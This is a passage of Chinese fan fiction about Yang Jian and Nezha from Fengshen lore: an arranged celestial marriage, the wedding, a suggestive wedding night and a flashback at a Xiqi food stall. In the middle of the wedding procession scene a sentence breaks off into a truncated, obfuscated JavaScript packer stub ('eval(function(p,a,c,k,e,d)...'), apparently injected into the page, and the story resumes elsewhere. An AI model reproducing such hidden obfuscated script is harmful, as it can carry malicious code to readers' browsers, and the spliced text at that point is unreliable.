“哪吒哥哥,别来无恙?”女妖理理散下来的发丝,勾着手指看向他,“爹爹身体如何?” “地涌,你的这声哥哥我担不起,”哪吒冷冷地看着他,“这次又是因为何事要残害百姓,为祸人间?我的本职是降妖除魔,不会因为他认了你做义女而改变。” 地涌并不怵他,冲他微微一笑:“上次哥哥也是如此说,结果如何?” “你威胁我?”哪吒侧身护住张黎,后者摇了摇头,示意他不用麻烦,“你以为我怕李靖的塔?” “这群凡人平白无故毁我洞宇,烧我巢穴,难不成我不能还手?” “你上次就已经惹过他们一回,他们害怕你,自然会做出此种举动,可你现在好好的,却取了数条人命?”哪吒摇头叹道,“他们不容你,你搬到别处去即可,为何非要斗得两败俱伤?” “你怎知——” “他不用告诉我,我看得出来,你杀过至少五人。” “哥哥,我劝你不要插手此事,不然我会去告诉爹爹的。” “我知道你会添油加醋说些什么,他不喜欢我,无论怎样都会借此找我麻烦,”哪吒还是站在原地,云淡风轻,“我也不惧他,你要是乱来,我不介意现在就杀了你这个所谓的妹妹。” “爹爹会拿玲珑塔教训你的!” “他最好如此,我何曾怕过?” 地涌被他淡然的神色惊到,说话也有些抖:“上次爹爹就拿塔压过你,看来你是没有……” 上空云端突然幽幽传来一个低沉的男声,听得出语气不悦:“他要是再敢,杨某会对他不客气。” 哪吒仰头:“二哥,你就别吓她了。” “我何曾想吓她?”杨戬板着脸缓缓从空中降下,手中的折扇一开一合,大有要动手的架势,“那塔压得住你,压不住我,上次我就警告过李靖,这塔他想端着便端着,可若再用在你身上,我就把这塔毁了,看他今后拿什么立威。” 见到杨戬,地涌便彻底没了气势,这场闹剧最终以哪吒让地涌搬离玉山,前往陷空山结尾。三人驾云往天宫去,杨戬始终沉默不语,哪吒则换上了笑容,对着张黎:“此番还要多谢张公子提醒,才免得让这孽障继续在人间生祸。” “三太子客气 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与张黎告过别后,两人回了云楼宫。自地涌噤声起,杨戬就再也没有吭过声,甚至连张黎离开后也不曾开口和他说话,哪吒正奇怪着,就看见杨戬拎着两瓶酒,好像想回灌江口了。 “二哥,这是怎么了?不高兴么?” “没有,”杨戬摇摇头,“我该回去了。” “可这段时间你不是答应我留在云楼宫吗?” “张公子明日不是会来找你吗?” “二哥,”哪吒笑道,拉着他的手臂邀他坐下,“他来他的,又不碍咱们的事,再说了,碧华姐姐你还信不过?她的义弟总不会不靠谱。” “我看玉帝就在打你俩的主意。” 哪吒端着茶的手悬在半空,咳嗽了几声:“我和张公子?” “我和玉帝说你得找个能照顾你的伴侣,可没想到他会找个男仙与你做配。”杨戬端着茶杯,冲他勾了下眉,眉宇之间竟有了几分邪气,哪吒知道他这样便是真的有了情绪波动,试图缓和气氛:“二哥,你瞧我这模样,确实和男仙更配吧……” 听了这话,杨戬一把抓住他手腕,视线由他的发顶扫到他的脚后跟,看得他浑身不自在:“我身上哪块地方你不熟悉?” “……” “二哥?” 杨戬的目光让他想起当年他俩在西岐相府的初见,戴扇云冠穿水合服的少年将军也是这般似笑非笑盯着他,在半晌之后才郑重地向他行礼。他俩携手走过了三界秩序未定的封神时期,又共同度过了千年春秋,按理说,这种犹如初见的眼神是不该有的。 但是现在,他不知道杨戬在想什么——如同数千年的东征路上,他不知道神通广大的杨戬师兄下一次会以何种方式救场。 “哪吒。” “嗯?” “还是少和他来往,免得玉帝哪日真的开始催你俩成亲,到时我可不会管。” “这个你放心吧,只是交个朋友,又不会掉块肉,”哪吒笑嘻嘻地看着他,“二哥莫不是吃醋了?” “咱俩又不是那种关系,谈何吃醋?”杨戬被这措辞逗笑,可嘴角刚翘起来就凝固了,无端觉得有些心虚,看着面前还在笑的师弟,抬手刮了下他的鼻尖。 “不是那种关系当然也能吃醋,二哥不知道么?”哪吒摸摸鼻尖,低声嘟囔。 “那就当我吃醋了吧,”杨戬朝他伸出手,“把那对耳坠给我,没收了。” 第二日张黎到访云楼宫的时候,杨戬就坐在会客厅的右边椅子上,俨然一副主人的架势:“张公子,来拜访我师弟?” “二郎真君,上次未郑重向您请安,失礼了。” “无妨,”杨戬让侍从给他奉了茶,“我师弟忙碌,这会儿去练兵场了,恐怕不能相见。” “元帅忙碌,小神理解,”张黎也不傻,见他虽面上笑意盈盈,但周身散发着逐客的气势,还没坐稳就起身拱手,“告辞。” 杨戬点头,看着他离开的背影,轻笑出声。 可当他得知此后半个月,张黎几乎每天都会到访云楼宫后,就笑不出来了。哪吒待人待客有原则,他不好每次都插手,有几次更是就在对面坐着,看着姓张的献殷勤,都是些他玩剩下的小玩意儿,哪吒也很给面子,笑得十分开心。 他直接去找玉帝,问他是不是想将张黎许给哪吒,后者笑而不答,问他:“戬儿觉得如何?” “恕杨戬直言,张公子与哪吒并不相配。” 玉帝听罢,也不恼,点头道:“可这三界上下,要找一个能配哪吒的仙谈何容易?依我看,张黎这孩子踏实心细,能够照顾他,这便是好的。” “若依如此,那三界但凡会照顾人的神仙岂不都能接近我师弟?哪吒是我玉虚宫至宝,又是伐纣大将,地位尊崇,绝非寻常神仙能沾染——” “戬儿所说,确实有理。那依你所言,这人需得兼有地位和实力,最好还能与他一同经历伐纣,还要能照顾他,不惹他厌烦,这……” 杨戬深吸一口气,往前跨了一步,直接跪下:“陛下,如若您实在想全了哪吒的婚事和杨某的婚事,不若就赐婚于我俩,一来各取所需,二来,杨某与哪吒相濡以沫近千年,早已习惯相互扶持,不是夫妻胜似夫妻。” 他原是思量许久,才有心提出这法子,怕玉帝觉得荒谬还找出了许多理由,打算和自家这个操心的外公好好辩论一番,哪知道此话一出,玉帝几乎是立马就接了话茬,颇有种怕他反悔的架势:“好,那传我指令,即刻赐婚二郎真君与中坛元帅,一月后举行婚礼,不得有误。” “……”他刚刚张开的嘴又合拢了,这几天因为张黎的存在蒙上一层雾的大脑又开始飞速转动,跪在地上看着冲自己点头的玉帝,惊觉自己可能上当了。 “外公,您……这……” “如此甚好,甚好,”玉帝笑得眼睛眯成了一条缝,才不管他说了什么,自顾自抚须而笑,“我可放心了,云华也可放心,甚好。” 他的额头渗出一层冷汗,不知道该如何给哪吒交代。 回到云楼宫,哪吒照样笑着来迎接他,刚刚练完兵的元帅还未卸甲,把他带到房间内,两人隔着屏风说话。哪吒问他数次和玉帝说了些什么,他含混其辞,说不出个所以然。 到底是好兄弟,即便看出了他的慌乱,哪吒也没有戳穿,而是感叹:“算了,二哥,反正你总不会害我。” 他不自在地咳了一声。 “二哥,你过来一下,”哪吒的手从屏风内伸出,冲他的方向打手势,“帮我个忙。” 他步入屏风内,只见这人衣衫半解,露出一片雪白肌肤,后背似有个结,哪吒比划着让他帮忙解了,他颤着手,无端想到玉帝赐婚后,他和哪吒就是名正言顺的夫妻,夫妻之间是要行夫妻之礼的。 “啪”地一下,他的乾坤扇落在了地上,哪吒受惊转身,葡萄似的眼瞳盯着他瞧,末了又笑笑:“师兄,你到底在慌什么?玉帝给你赐婚了?” “嗯。”他点点头。 “啊?”哪吒的眼睛瞪得更大了,一把扯住他的手,恨不得把脸凑到他胸前,“真赐婚了?” “真赐婚了,”他皱着眉点点头,怕师弟不相信,又重重点了几下头,重复了一遍,“真的。” 哪吒干脆地将他的手放开,后退了几步,穿衣服的动作都快了几分,语气也冷了下来:“好吧,那么,我嫂子是谁?” “……” “不想告诉我么?二哥这么快就要与我生分了?” “其实,”杨戬捡起掉落在地的扇子,摩挲几下,看着师弟套上红色外衫的后背,“玉帝也给你赐婚了。” “什么?!!” 4. 啼笑姻缘(下) 等到他把来龙去脉细细地给哪吒讲了一遍,他的小师弟已经笑弯了腰,擦擦眼角带出来的泪,道:“师兄,你这玩笑开到玉帝那儿去了,他竟也配合着你胡来,当真是你们祖孙俩喝醉了,要拿我来醒脾。” 他苦笑,无奈摇头:“这不是玩笑……” “什么意思?” 他还想解释,如云已经把宣旨的人迎进了云楼宫,那侍从一见他俩就眉开眼笑,拿着金色绸布,口称“元帅”和“真君”,十分客气。 “这是怎么回事?”哪吒用手指了指金绸,还没搞清楚状况。 “玉帝下旨,请二位接旨,陛下还特意说了,这是大好喜事,二位可不必跪。” “快说快走。”杨戬已经想打开扇子把自己遮住了,哪吒似乎预感到了什么,拽着他往后挪了一点的衣袖,不让他离场。侍从笑着打开卷轴,清清嗓子:“奉天帝旨意,赐婚显圣二郎真君杨戬与中坛元帅李哪吒,一月之后择吉日完婚——” “什么东西?”哪吒一把抓过卷轴,左瞧右瞧,反复确认了玉帝笔迹和玉印,难以置信地转向杨戬,把卷轴举起来,一字一句地问:“你干的?” “二位大神要没什么事我先走了。”侍从见情势不妙,冲他俩鞠了一躬,一溜烟跑了。 “之前跟你说了,我可没说那是玩笑……”杨戬心虚地笑笑,握紧手中的折扇,“玉帝想给你我寻亲,那不如就指婚你我,总比那个张公子好。” “你就这么和玉帝把我的事定了?”哪吒把卷轴放在一边,“也不与我商量?” “我没想到他会这么快就同意,原本我还打算和他辩论一番,可是——” “可是什么?” “可是他还没等我喘口气就答应了,还颁了旨。” “那当然了,”哪吒指指放在桌上的卷轴,“那上面关于指婚我俩的字迹已经干了很久,一看就是提早写好的,他原本恐怕就是计划着让我和你成亲,就等你哪天开了窍去提。” “……事已如此,”杨戬扶额,不知道要怎样形容这位为了他的终身大事如此设计的外公,拍拍哪吒的肩,“二哥替你裁嫁衣。” “谁说我要嫁给你?” “他说的,”杨戬指了指桌上的玉帝旨意,“以后可能还得委屈你做我的天后呢。” 哪吒轻笑:“当初是谁说自己丝毫没有嫁娶之意,也没有立天后的打算?” “那是别人,若是你……”杨戬伸手过去,指尖抚过哪吒的掌心,轻轻试探,“二哥何曾亏待过你?既然你我要做夫妻,我当然会给你最好的。” “他们本来也知道你偏心我,自封神时起你就对我格外不同些。” “我对你好是天经地义,哪有师兄不疼师弟的?” “天化和小雷也是你师弟,怎的没见你如此偏爱?” 杨戬的一双含情目此时温柔地看着他,声音也柔和下来:“你与他们不同。” 哪吒脸颊微红,开始左右顾盼,咳嗽几声后道:“如若真要做夫妻,我和二哥不是还得……洞房花烛?” “你若不想,我不会强迫你。” “我没那许多矫情,只是觉得有些奇怪,我虽然与二哥关系亲密,但还从未越过界……” “到时成亲了便不会觉得奇怪了,”杨戬站近了些,一只手扣住他的手,另一只手轻轻搂住他的腰,低声道,“不然,现在我俩先习惯习惯?” “……怎么习惯?” 眼看杨戬俯身,脸凑得越来越近,哪吒只觉得自己的心跳陡然提速了一倍,脑子有些晕晕乎乎的,他一直觉得杨戬好看,但从没像今天这样看得脑袋晕乎,痴痴傻傻,连反抗都忘了。 杨戬轻轻碰了一下他的唇,触感温热柔软,他的手像话本插图里那般勾住了杨戬的脖子,一吻结束,两人都有些害羞,又不肯松开对方,站在云楼宫前院的树下互相搂抱着,姿势固然有些僵硬,这数千年来的头一次亲密接触着实让两人都慌了手脚。 如云从房内走出,原本靠在一起的两人又迅速松开,哪吒喘着粗气,摸了摸自己滚烫的脸,杨戬转身看向树干,装作若无其事。如云心里明镜似的,忍不住垂头低笑,行了个礼:“二位爷,晚膳已备好。” —————————— “元帅,真君,此次婚礼是天宫最高规格,三百六十五路正神皆会受邀,此外还有玉虚宫、西方来的贵客,玉帝亲自主婚,一月的时间属实紧迫,还请二位多包涵配合。” “你只说我们要如何做便好。”哪吒喝了口茶,杨戬则拿着卷轴,里面是天庭工匠送来的婚服样式图,还有各色首饰的图样,再往下翻就是婚宴排桌安排。 “这一是婚服的制作和试穿,若不满意还要反复修改,二来是婚礼流程的彩排,必须都走一遍,三是宾客的邀请,有些还得二位亲自出面,才合礼仪……” “这些都是小事,中坛元帅事务繁忙,我会去做,”杨戬从卷轴中抬眼,“还有别的吗?” “暂时就这些。” “好,你先出去吧,辛苦了。” “二哥,你当真会去?” “当然,你我的婚礼,自然得按规矩来,有什么事我去安排,你只管做自己的就是。” “好像做梦一样,”哪吒打开玉帝送来的木匣,看看里面的镯子和臂钏,又放回去,“可仔细想想也和我们平时没什么不同。” “也是。” “既然如此,我为什么要和你成亲?”哪吒眼珠一转,笑盈盈地看着师兄。 “这是想反悔么?”杨戬不恼,语气淡淡的,“那我就和外公给我挑的小仙娥见个面吧。” “我只当二哥多有诚意,原来是只要有个能交差的结婚对象就行,”哪吒推开木匣,“也罢,二哥趁早给我找个嫂子,咱们哥俩还是别玩什么过家家了。” “你上哪儿去?”杨戬连忙拉了他袖子,轻声道,“旨都下了,你想玩反悔?” “本来就是二哥瞒着我给我定的亲,可没问过我的意见。” “你若是不愿意,现在就告诉我,我回了外公去,”杨戬把他的身体掰过来,“就当我胡闹了一回,以后再也不提这事。” “二哥你……”刚刚因为之前的亲密接触生出些旖旎心思的人差点被眼前的师兄气得翻白眼,只能转头道,“那你倒是说说为什么要和我成亲?” “不是和你说了吗,”杨戬见人要生气了,脸色又柔和起来,上去陪笑,“玉帝要给你赐婚,也要给我赐婚,如此一来正好解了燃眉之急。” 哪吒的眼神有些黯淡,空气凝固了一会儿,半晌之后杨戬才听到他说话:“哦,原来如此。” “你今日怎么了?说好了成亲,突然想反悔?做了这么久的兄弟,可不能说话不算话。” 可我看凡间话本,做夫妻的大多都是因为两情相悦,还有人愿意以生死相许,难道是我理解错了?哪吒暗自思忖,没注意一旁杨戬探究的眼神。 此后几十日,哪吒照常布阵排兵,降妖除魔,偶尔遇到神仙对他道贺,也是糊弄过去,杨戬则忙得脚不沾地,各个仙家洞府来回跑,还要监视着婚服的制作,为哪吒选定饰品。 其实他很想找人问问有没有兄弟变夫妻的先例,他不知道自己和杨戬能否能适应这样的转变,听说成为夫妻后两人肩上的担子会更重,要许下相互扶持一生的诺言——凡人的一生还好,可他们这些做神仙的,说了一生一世,那可就是永远,可能要等到真正的山无棱,天地合,才能违背当日郑重许下的成婚誓言,否则一旦违誓,就是要遭天谴的。从碧华和龙吉口中,他知道了要想婚后生活恩爱圆满,夫妻相爱尤为重要。 可是他和杨戬相爱吗? ——————————— “这身好看。” 在试过七套婚服后,杨戬终于露出了满意的神色,双眼放光,朝他走来,赞叹之情溢于言表,周围的侍从也是笑得合不拢嘴,直夸他姿容万方,艳惊四座。他试得腰酸背痛,不住地锤腰:“二哥,终于好了?” “婚服当然要选最衬你的,这颜色和花样都是你喜欢的,裁剪也用心,莲花纹样尤其好看,”杨戬抓着他的衣袖,冲他笑,“瞧瞧,你不喜欢?” “喜欢。” “好,绣院当赏!”杨戬依旧笑着,摸摸他的脸:“怎么了?平常穿漂亮衣服就属你最兴奋,如今选婚服都闷闷不乐?” 他不作声,如云给他端茶,他一口气喝了,还叫着渴。 “把头冠拿来,让三太子选。” “还有?” “还有十日就大婚了,时间紧迫……” 他有点烦躁,看了一圈身边让他眼花缭乱的金色头饰,随便一指:“就这个吧!” 还没等侍从应,杨戬就发话了:“这些都不行,重新做了来,要更华丽的,耳坠、腰带和手镯,都要更华贵些。” “是。” “都下去吧。” 待所有人都离开了,杨戬放下折扇,亲自伺候他脱下选好的婚服,又从侍从手中接过一身青色的罩衫,替他穿上。他靠在椅子上,脸被带着热气的手抚过,杨戬此时的声音很温柔,不像之前那样带着几分兴奋:“好了,现在你可以告诉我你为什么不开心了。” “二哥真的在乎吗?” “这是什么话?这天上我最在乎的人就是你,”惊讶于他的想法,杨戬皱眉,“是不是有人多嘴,说了什么闲话?” “没有,再说了,我哪里听得进别人的闲话,我只相信二哥说的。” “那还是有人说了,是谁?” “没人说什么,我就是自己心里犯嘀咕。” “自己心里……”杨戬忍不住笑,替他拢了下头发,“嘀咕些什么?难不成是婚礼临近,在嫌弃你夫君我?” “我真的要叫二哥夫君么?” “开玩笑,你想怎么叫怎么叫,只要自己心里明白便好。” “可我若不明白呢?” “不明白?”杨戬有些不解,伸手托住他的下巴,“哪里不明白?你又想悔婚?” “二哥,你当真要和我许下永远做夫妻,永不负心的誓言?倘若违誓,身死道消,这代价你我能承受么?” “代价?”杨戬懵了,“什么代价?我和你成亲便是要一心一意对你好,先不说成亲,我从前不也这么做的么?数千年不也这样过来了?” “可从前只是做朋友,如今是成婚,差别太大了。” “差别在哪儿?” “碧华姐姐说做恩爱夫妻的关键是相爱,你我相爱么?” 杨戬沉默了,盯着他看了一会儿后垂头思索,他继续道:“从兄弟变成夫妻,这本就罕见,二哥,做夫妻是一件很郑重的事,我怕你遇到和你相爱的人以后会后悔现在早早地和我成了亲。” “那,你想如何?” “把婚期延后,你我都好好想想,再做决定。” “不行,请帖全部发下去了,你我的师父,甚至掌教师尊都会到场,还有西方教的诸佛,”杨戬站起身,冷下了脸,“你一而再再而三要悔婚,莫不是心中另有所属?” “我——” “有所属也没关系,你我会成婚已是既定事实,至于你方才所说,纯属无稽之谈。自封神结束以来已有数千年,我一心都只扑在你身上,谈何与他人相爱?我对你有多用心是玉帝都看在眼里的事,要说咱俩是否相爱,我想该回答这个问题的应该是你才对。” “二哥你……”哪吒也站了起来,语气激动,“你怎么能这样说?你对我好,我未必就没有为你付出?只是身兼要职,比不得二哥清闲,可如若哪日二哥出事,就算要我以命相抵,我也在所不辞的!” “我也可以为了你去死,”杨戬瞥他一眼,“我已经这么做过了……很多次。” “我知道……所以二哥,我视你比我自己还重。” “我何尝不是视你为珍宝?”杨戬轻抚他的头发和面庞,“看到你不开心,我心里难受,做了多少事送了多少东西,你还是要说些推迟婚期的傻话,就那么不想和我成亲?” “我没有……” “你有没有都好,二哥就勉强你这一回,十日之后你我成亲,忘掉你喜欢的人,和二哥做夫妻。” “我哪有喜欢的人?不都是二哥么?”哪吒笑着抚上杨戬的心口,又往前凑了点,轻轻蹭了下杨戬的鼻尖,“二哥不信的话就摸摸我的心口,瞧瞧我有没有说谎。” 杨戬抬手就捂住了他的心口,俯身搂住他的腰,把他往自己怀中带,哪吒并不反抗,虽然还未习惯这样的亲密接触,但并不觉得不适,两人的身体再次紧贴在一起,杨戬嗅到了他身上的香味。 “哪吒,”杨戬的声音贴着他的耳朵,有些低沉,“你知道洞房花烛要做什么吗?” “不知道,”哪吒诚实地摇头,“我只知道凡人称这为一大乐事,估计是要像这样贴着睡觉?和二哥这样睡一晚,我心里也高兴。” “不止这个……” “那要如何?”哪吒好奇地凑过来,几乎要和他脸贴着脸,“二哥都知道些什么?为何脸这样红?” “无妨,到时二哥教你。” 今晨他看月合仙送来的画册时也才开窍,捧着书读得面红耳赤,问这样哪吒会不会疼,又问这样做几次为好,月合仙一一解答。如今他光是这样抱着哪吒就能感受到他香软绵糯的身体,飘飘欲仙,更别提当晚会如何失控。 “跟着二哥,我总是享福的,”哪吒笑着靠在他肩膀上,“二哥疼我宠我呢。” “二哥只疼你一个。” —————————— 大婚当日,天宫张灯结彩,哪吒一夜无眠,早早地起来,被侍从推着开始沐浴更衣,换上婚服,又开始添妆梳发髻,等候时万分无聊的他只能盯着窗外的树发呆。发髻梳到一半,黄天化跑进了云楼宫,大声嚷嚷着外面的热闹场面,说要带着他出去,又说太乙也来了,听得他心痒痒。 “你扮上这妆,还真像那么回事。” “怎么回事?” “你不知道,杨戬师兄穿着新郎官的衣服迎来送往,迷倒了一片仙娥,但是我看啊……”黄天化拍拍他的肩,“都比不上你。” “各有各的好处,哪有什么比不比得上一说。” “话是这样说,可在杨师兄心里你就是最好的。” ————————— 天化扶着盖上红盖头的他进了喜轿,从云楼宫到凌霄宝殿,一路几乎会经过所有的天庭宫宇,他听到夹道的神仙们的恭贺声,内心欢喜,又有些无措,盯着自己绣了鸳鸯的玉鞋发呆,想在脑海里勾勒杨戬穿喜服的模样,却因为紧张想象不出来。 喜轿一路平稳,不知过了多久后,天化爽朗的笑声突然响起:“杨师兄,我可是帮你把美娇娘迎来了,你拿什么谢我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“师伯,杨戬愿立誓,若有负于他,甘愿一死,生生世世受轮回之苦。” “罢了罢了,你俩好好过日子,这才是我们想看到的……” “是。”杨戬又俯身拜了拜,将杯中酒一饮而尽,发觉脚边有人在拽自己,定睛一看,却是个粉雕玉琢的女娃娃。 “贞英!” 扎着两个小发髻的娃娃仰着头看着他,先是冲哪吒甜甜地叫了声“哥哥”,接着和他大眼瞪小眼,他知道贞英是哪吒最疼的小妹,刚想伸手将她抱起,贞英就响亮地叫道:“嫂子好。” “什么?”杨戬偏头又问了一遍。 “杨哥哥,嫂子……” 他摸了摸贞英的头,看向了哪吒,后者一脸无辜,端着酒杯冲他笑。 —————————— 红烛随风摇曳,杨戬将窗户关好,端坐在床边,伸手将在和自己的头饰搏斗的师弟揽入怀中:“别扯,师兄替你拿下来。” “师兄,这个太重了……” 杨戬看得直笑:“好好好,知道你不习惯,可这都是天帝娶亲的仪制,我不想让你被别人说闲话,只好委屈委屈你。” “这个好看,我喜欢,”哪吒拿过被杨戬取下来的凰冠,“谢谢二哥替我着想。” “先叫声夫君来听听。” “……”哪吒装作没听到,把玩手中的首饰,被杨戬握住了手腕:“都拜过堂了,还不肯叫?” “二哥不是说过想怎么叫都随我吗?” “先叫一声,”杨戬把他手中的头饰放到桌子上,替他散下发髻,“这妆把你衬得更美了,不仔细看倒真看不出是男儿身。” “漂亮就行。” “也是,先叫声夫君。” 哪吒歪头,冲他盈盈一笑,拿了团扇将自己与杨戬的脸隔起来:“你这也太急了。”· “春宵苦短,怎能不急?” “二哥先教我圆房吧,”哪吒放下扇子,像是想起了什么似的,“这事能让二哥这么厚的脸皮红成那样,必定是有些门道的,我——” “好小子,你说什么?” “我说,二哥别……”骤然被挠了痒痒肉的人缩在杨戬怀中咯咯笑,“别……好二哥,饶了我吧……” 眼前的人乌丝如瀑,气喘吁吁,朱唇未启,已觉口脂香,靠在他怀中眉眼含笑,缩成一团。杨戬就势将人抱住,压倒在床。 ——————————— “二哥你确定是这样吗?” “啊呀——会不会找错了地方?二哥……” “书上是这么写的。” “什么书?我也要看!” “你先躺着,我摸摸……是这儿吗?” “……” “是这里对不对?”杨戬俯身亲了口在他怀中咬紧牙关的人,“别忍着。” “二哥……” “二哥在这儿,乖乖躺好,二哥让你舒服。” “二哥,”哪吒细细喘气,揪住他的袖口,“再快些……” “先叫声夫君来听听。” “杨戬!” ——————————— 清晨,如云敲门进房,床帐层层叠叠,将婚床遮得只能看到一点影子,大红的喜服凌乱地摆在地上,一只如玉般晶莹的雪白手臂伸出了龙凤喜被,无力地垂下,皓腕套金镯,风情万种,引人遐想。 “给元帅和真君请安。” 过了许久,床帐里才传来低沉的男声:“什么事?” “您和元帅的早膳已备好。” “知道了。” “所有贺礼均已打点进库,这是您府中的人方才送来的。” “嗯。” 修长的手指将床帘撩起,杨戬随手拿了架子上的玄色锦衣,松松垮垮披在自己身上,拾起昨晚甩在地上的婚服,递给如云:“把这衣服好好放着,再让厨房将早膳送来。” “是。” 如云退下后,杨戬打开礼匣,瞧见了自己在一月前定制的红玉镯,成色极佳,艳红如血,满意地点了点头。 雪白的手腕被他拾起,沾了凉气的肌肤泛起一层鸡皮疙瘩,哪吒不适地皱起眉头,模模糊糊见是他,露出了笑容:“二哥?” 温润的镯子套进他的手腕,他恍惚间问道:“这是什么?” “新婚礼物。” “二哥真客气,还准备什么……这是红玉么?”他慢悠悠从床上坐起,“是千年难得一见的红玉?” “是的,里面有我的心头血,可以护着你。” “二哥……”哪吒旋着手腕的镯子,千万种情绪在心中涌流,想起昨晚二人互相交付的场面,因都是头次,杨戬时时照顾着他的情绪,唯恐他不适。这种对他无微不至的照料似乎已经刻入了杨戬的骨髓,形成了条件反射和肌肉记忆,如杨戬所说,不论他俩是单纯的师兄弟还是如今的夫妻,数千年来杨戬一直是这样对他——掏心掏肺,一片赤诚真心。 “怎么了?”杨戬端来桌上的粥,仔细吹了吹,“来,先用点早膳垫垫肚子。” “我……”哪吒垂头,扣住杨戬手腕,“二哥,我没什么好东西送你的……” 杨戬笑出了声:“我要你送我什么?又何曾会和你计较这些?” “那……不如我也喂喂夫君?” —————————— 如往常一样,如云掐着时间端盘进房献茶,走到半路就垂头转身,颇为自觉地出去了。 “如云,这茶不好吗?” “不,是时机不好,没听到传唤,任何人不能进去。” “莫名其妙……” 5. 暗涌(上) 哪吒有时候会想为什么杨师兄总不回应他。 他理解像杨戬这样又有本事又长得好看的人自然有些傲气,但自己明明也很有本事,长得也很好看,看上去和他再配不过了。可杨戬总是避开他挑起的话头,似乎自己的示好都不能入他的眼。 “杨师兄眼光可真高。”他踢了下脚下的石子。几日前帅府中举行了土行孙和邓婵玉的婚礼,姜师叔趁着喜事给他们放了几日假,他和黄天化、两个哥哥还有那人来到了西岐的繁华街道,打算好好逛逛。眼下,杨戬和金吒一道去隔壁的糖人摊了,他和天化、木吒则进了一家馄饨摊。 “你嘀咕些什么呢?”天化在他面前甩甩手,又扯起嗓子喊,“老板!来五份馄饨!” “三弟,你有心事?” “没……没啊,”哪吒心不在焉地玩着桌上的木筷,“杨大哥和大哥怎么还不回来?” “别念着你那俩哥了,你瞧瞧那边那位姑娘美不美?”天化戳戳他的手臂,示意他向后看,“看,糖人摊旁边不知卖什么的那个,连杨师兄都凑过去了……嘿嘿。” 哪吒猛地转过身,穿着白色素布衣衫的杨戬的确站在那位姑娘面前,笑着说着什么。他只看了一眼就觉得眼睛胀痛,悻悻回过头,木吒把馄饨碗递给他,淡淡说了句:“我不觉得有谁能比我三弟漂亮。” “话是这么说,可他终归是个男的,”天化指着他,被他一掌拍了过去,“嘶!而且你看这脾气——” “懒得说你。”哪吒轻哼了声,垂头吹了吹刚出锅的馄饨汤,心情酸涩,鼻头不自觉地皱了皱。身后传来了熟悉的脚步声,天化热情地招呼:“哎,杨师兄,金吒,这边!” “三弟,看,给你带的糖人!”金吒笑吟吟地把糖人递到他手上,他接过,说:“谢谢大哥。” “这是杨师兄给你买的。” “哎?”他舔了口金黄色的糖块,沁甜的味道一丝丝注入他的身体,连带着整个人也柔和了起来,抬头给杨戬道谢,杨戬还未来得及回复,一旁的天化就开口了:“杨师兄,方才和那姑娘聊得挺开心?” 杨戬摆手坐下,笑道:“只是随便看看罢了。” “不对吧——你明明就是买了东西的,还和她聊了许久!快说快说,是不是有戏?”天化拍手起哄,金吒和木吒也是饶有兴致看着师兄,哪吒垂头,专心地一口一口将烫口的馄饨吹凉,觉得手里的糖人看上去有些碍眼。 “我的确买了,师弟好眼神,但是……”杨戬垂头笑,轻咳一声,“恐怕不方便说。” “什么嘛,准是些荷包之类的贴身物件了!” “你怎知是荷包?杨师兄要荷包做什么?”哪吒舀了口馄饨,又瞄了眼杨戬,发现对方也在看他时又把眼神移开。 天化像看傻子一样看着他:“三公子还真是纯情,连这个都不懂。荷包就是送给心仪之人的定情信物,女子有了钦慕的男子,都是送荷包的!依我看,今天咱们的杨师兄是着了道——” “行了天化,休要胡言。”杨戬打断了天化的话,把自己的那份馄饨摆好了,喝了口汤。 哪吒听到“心仪”两个字就知道是怎么回事了,闷头吃了两口馄饨,内心酸涩,又悄悄看向斜对面的杨戬,后者的吃相极斯文,抬眼的时候也向他瞟了过来。 “天化,”他吓得又把目光收回去,问,“荷包长什么样啊?” 金吒木吒同时笑了,道:“咱们三弟确实不懂这些,只喜欢吃糖呢。” “荷包很好看的,上面绣着花样,可以戴在身上!”天化比划着,笑道,“看在你我的交情,以后我要是收到了姑娘的荷包,也给你看看。看样子你应该是不会收到的。” “为什么?” “你这副模样,能把多少官宦小姐比下去,都自惭形秽了,怎么还会对你动心思?” 这下连金吒木吒也忍不住笑,哪吒本想发作,见杨戬坐端正了朝他看,一时也不知道该怎么办了,又想想刚才摊位的姑娘,闷声闷气地说:“都说长得好看招人喜欢,我可就是个反的了。” “哎,三公子别伤心,你要是给我做个荷包,我也可以勉为其难用八抬大轿把你抬到我黄府去。” 金吒木吒不约而同地开始咳嗽,杨戬面色不悦,但也只是在一瞬间。哪吒还是不懂,问了句:“干嘛?” “娶你过门啊!”黄天化憋着笑,大声说,整个馄饨摊的人都听到了,自然而然朝这边看。哪吒杏眼圆瞪,当着这么多人也不好发飙,气得声音都抖:“你——” “这位姑娘,你的馄饨要加不——” “你叫谁姑娘呢?!”哪吒怒瞪了一眼小二,金吒忙赔礼,悄声说“这是我弟弟”,小二露出惊异的表情,不敢得罪他,急忙走了。 “你可别生气,嫁进我黄府可威风了,可以戴凤冠霞帔,再说了,我哪点配不上你么?”天化看向金吒,“金吒哥,你说是吧?” 金吒刚想说“这玩笑开得太大了”,就听到他什么都不太懂的傻弟弟出于好奇问了句:“凤冠霞帔是什么?” “就是新娘的打扮,是最漂亮的那种!”黄天化拿了筷子在桌上比划,哪吒凑过去看,琥珀色的眼珠滴溜溜转,一边看还一边点头,看得木吒哭笑不得:“还真是孩子,刚才还闹,现在又好了,杨师兄——” 杨戬的脸色不太好,埋头吃馄饨,并没有想和他搭话的意思。哪吒听完了天化的解释,笑道:“这有什么,我身上也有三个金镯子,还稀罕你的金凤冠么?” “不止是金子,还有宝石呢,总之特漂亮,我娘嫁给我爹的时候就戴的这个,后来我爷爷说只等我娶亲的时候给黄家长孙媳妇戴。” “那你给你媳妇戴去,记得请我吃酒!” “切,跟你开个玩笑你也不接话茬,好没意思。”天化摇头,自顾自喝汤去了。哪吒忍不住又偷瞄了眼杨戬,只见他眉头紧皱,已经将馄饨扫荡干净,正用手帕轻轻拭嘴。 他想和杨戬说话,但转念又想不到什么话题,含着糖果闷闷不乐,金吒替弟弟放好了碗筷,一行人走出馄饨摊,黄天化见他含糖,直叫他“乖娃娃”,气得他抬脚就踹,只贴着杨戬走。杨戬并没有太多表情,经过刚才的糖果摊,还指着五颜六色的糖球,问他还要不要,他连忙点头:“杨大哥真好。” 